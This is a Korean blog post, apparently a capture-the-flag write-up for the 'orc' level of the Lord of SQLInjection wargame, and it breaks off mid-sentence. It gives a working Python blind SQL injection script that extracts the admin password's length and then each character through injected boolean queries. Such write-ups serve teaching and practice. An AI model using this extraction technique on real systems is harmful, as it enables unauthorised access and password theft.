관리 메뉴

HeeJ's

[04] orc :: Lord or SQLInjection 본문

<CTF>/<Lord of SQLInjection>

[04] orc :: Lord or SQLInjection

meow00 2021. 3. 18. 19:41

문제 소스코드

이 orc 문제는 blindSQL 문제로,

전송한 쿼리의 리턴 값이 true인지 false인지의 반응을 통해

pw의 값을 알아보는 문제이다

 

 

이 문제를 풀기 위해 자동화 스크립트를 파이썬으로 작성해주었다.

 

 

 

import requests

#los orc
url = "Lord of SQL orc URL"
headers = {"Cookie":"PHPSESSID=Your PHPSESSID"}

#패스워드 길이 구하기

for i in range(50):
    query="pw='||id='admin' and length(pw)={}%23".format(i)
    r = requests.get(url+query, headers=headers)
    if "Hello admin" in r.text:
        length = i
        break


#패스워드 구하기

pw=''
for i in range(1,length+1):
    for j in range(33,127):
        query = "pw='||id='admin' and ord(substr(pw,{},1))={}%23".format(i,j)
        r = requests.get(url+query, headers=headers)
        if "Hello admin" in r.text:
            pw+=chr(j)
            print("passwd is",pw)
            break

 

이렇게 실행해주면

 

pw를 찾을 수 있다.

 

이 pw를 ?pw=찾은 pw값으로 넣어주게 되면